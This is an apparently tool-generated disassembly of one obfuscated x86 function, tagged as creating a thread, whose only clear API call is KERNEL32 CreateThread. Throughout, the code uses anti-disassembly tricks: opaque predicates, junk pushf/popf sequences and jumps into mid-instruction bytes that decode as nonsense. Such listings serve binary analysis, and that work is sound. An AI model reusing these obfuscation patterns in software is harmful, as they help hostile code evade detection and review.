Function at 0x10016407
Capabilities:
Create thread

Disassembly:
jae 0x100160ad
jmp 0x100160a8
call fcn.100160af
jae 0x100160a8
add esp, 4
jmp 0x100160b4
dec dword [esp]
jno 0x100160b9
jns 0x100160a4
jp 0x100160bd
add esp, 4
popf
jmp 0x100160c4
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x100160dd
jne 0x100160dd
mov al, 0x7c
add ebp, ebx
add esi, dword [eax + 0x3350fb74]
ror byte [edi], 0x9b
rcl byte [edx + 0x33], 0xd0
jl 0x100160e2
jmp 0x100160e4
je 0x100160df
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x100160fe
jne 0x100160fd
call 0x93055185
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1001610c
jne 0x1001610c
call 0xfde90f8
invalid
call 0x10013e40
clc
jae 0x10016116
retf
pushf
push 0xa
jae 0x10016123
jmp 0x1001611e
call 0x10016125
jae 0x1001611e
add esp, 4
jmp 0x1001612a
dec dword [esp]
jno 0x1001612f
jns 0x1001611a
jp 0x10016133
add esp, 4
popf
jmp 0x1001613a
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10016153
jne 0x10016153
jns 0x100161d0
jl 0x10016158
add ebp, ebx
add edi, dword [ecx + 0x74]
sti
jmp 0x1001615a
je 0x10016155
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10016174
jne 0x10016173
call 0x930551fb
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10016182
jne 0x10016182
call 0x10f21b6e
add byte [ebx], dh
rol byte [ebp + 0x750374c0], 0
call 0x10025240
xor eax, eax
test eax, eax
je 0x10016190
jne 0x1001618f
call 0x93055217
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
inc edx
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001619e
jmp 0x100161a0
je 0x1001619b
clc
jae 0x100161a5
jne 0x100161e7
je 0x100161aa
jne 0x100161aa
inc edx
pushf
push 0xa
jae 0x100161b7
jmp 0x100161b2
call 0x100161b9
jae 0x100161b2
add esp, 4
jmp 0x100161be
dec dword [esp]
jno 0x100161c3
jns 0x100161ae
jp 0x100161c7
add esp, 4
popf
jmp 0x100161ce
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x100161e7
jne 0x100161e7
call 0x1fc1953b
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
call fcn.1001c2f0
xor eax, eax
test eax, eax
je 0x10016206
jne 0x10016205
call 0x9305528d
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
arpl word [ebx + edi*8 - 8], si
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10016214
jmp 0x10016216
je 0x10016211
clc
jae 0x1001621b
sbb ah, byte [ebx + 0x74]
add esi, dword [ebp + 1]
je 0x10016220
jne 0x10016220
arpl word [esi - 0x64], sp
pushf
push 0xa
jae 0x1001622d
jmp 0x10016228
call 0x1001622f
jae 0x10016228
add esp, 4
jmp 0x10016234
dec dword [esp]
jno 0x10016239
jns 0x10016224
jp 0x1001623d
add esp, 4
popf
jmp 0x10016244
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001625d
jne 0x1001625d
call 0x1fc195b1
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
call fcn.1001b960
clc
jae 0x10016278
shr dword [esi], 0x9c
pushf
push 0xa
jae 0x10016285
jmp 0x10016280
call 0x10016287
jae 0x10016280
add esp, 4
jmp 0x1001628c
dec dword [esp]
jno 0x10016291
jns 0x1001627c
jp 0x10016295
add esp, 4
popf
jmp 0x1001629c
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x100162b5
jne 0x100162b5
sub al, 0x7c
add ebp, ebx
add ebp, dword [esp + esi*2]
sti
jl 0x100162ba
jmp 0x100162bc
je 0x100162b7
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x100162d6
jne 0x100162d5
call 0x9305535d
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x100162e4
jne 0x100162e4
call 0xf444ad0
invalid
call 0x1000a5d0
clc
jae 0x100162ee
imul esi, edx, 0x66
pushfd
pushf
push 0xa
jae 0x100162fb
jmp 0x100162f6
call 0x100162fd
jae 0x100162f6
add esp, 4
jmp 0x10016302
dec dword [esp]
jno 0x10016307
jns 0x100162f2
jp 0x1001630b
add esp, 4
popf
jmp 0x10016312
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001632b
jne 0x1001632b
bnd jl 0x10016330
jl 0x10016330
jmp 0x10016332
je 0x1001632d
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1001634c
jne 0x1001634b
call 0x930553d3
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1001635a
jne 0x1001635a
call 0xf4a0546
push dword [ebx]
rol byte [ebp + 0x750374c0], 0
call 0x1000ac00
xor eax, eax
test eax, eax
je 0x10016368
jne 0x10016367
call 0x930553ef
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
mov ebx, 0x73f8fb74
add dl, byte [0x750374bb]
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10016376
jmp 0x10016378
je 0x10016373
clc
jae 0x1001637d
adc eax, 0x750374bb
je 0x10016382
jne 0x10016382
add dword [ebx + 0xa6a9c66], edi
mov ebx, 0xa6a9c66
pushf
push 0xa
jae 0x1001638f
jmp 0x1001638a
call 0x10016391
jae 0x1001638a
add esp, 4
jmp 0x10016396
dec dword [esp]
jno 0x1001639b
jns 0x10016386
jp 0x1001639f
add esp, 4
popf
jmp 0x100163a6
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x100163bf
jne 0x100163bf
call 0x1fc19713
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
call fcn.10024730
xor eax, eax
test eax, eax
je 0x100163de
jne 0x100163dd
call 0x93055465
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
test byte [ebx + edi*8 - 8], dh
xor eax, 3
add eax, 4
xor eax, 5
jl 0x100163ec
jmp 0x100163ee
je 0x100163e9
clc
jae 0x100163f3
mov esp, 0x75037484
add dword [esi + 0x730a6a9c], eax
pop es
je 0x100163f8
jne 0x100163f8
test byte [esi - 0x64], ah
pushf
push 0xa
jae 0x10016405
jmp 0x10016400
call 0x10016407
jae 0x10016400
add esp, 4
jmp 0x1001640c
dec dword [esp]
jno 0x10016411
jns 0x100163fc
jp 0x10016415
add esp, 4
popf
jmp 0x1001641c
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10016435
jne 0x10016435
call 0x1fc19789
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0
push 0
push 0
push 0x1001afb0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
clc
jae 0x10016460
popal
movsd dword es:[edi], dword [esi]
pushf
push 0xa
jae 0x1001646d
jmp 0x10016468
call 0x1001646f
jae 0x10016468
add esp, 4
jmp 0x10016474
dec dword [esp]
jno 0x10016479
jns 0x10016464
jp 0x1001647d
add esp, 4
popf
jmp 0x10016484
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001649d
jne 0x1001649d
movsd dword es:[edi], dword [esi]
jl 0x100164a2
jmp 0x100164a4
je 0x1001649f
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x100164be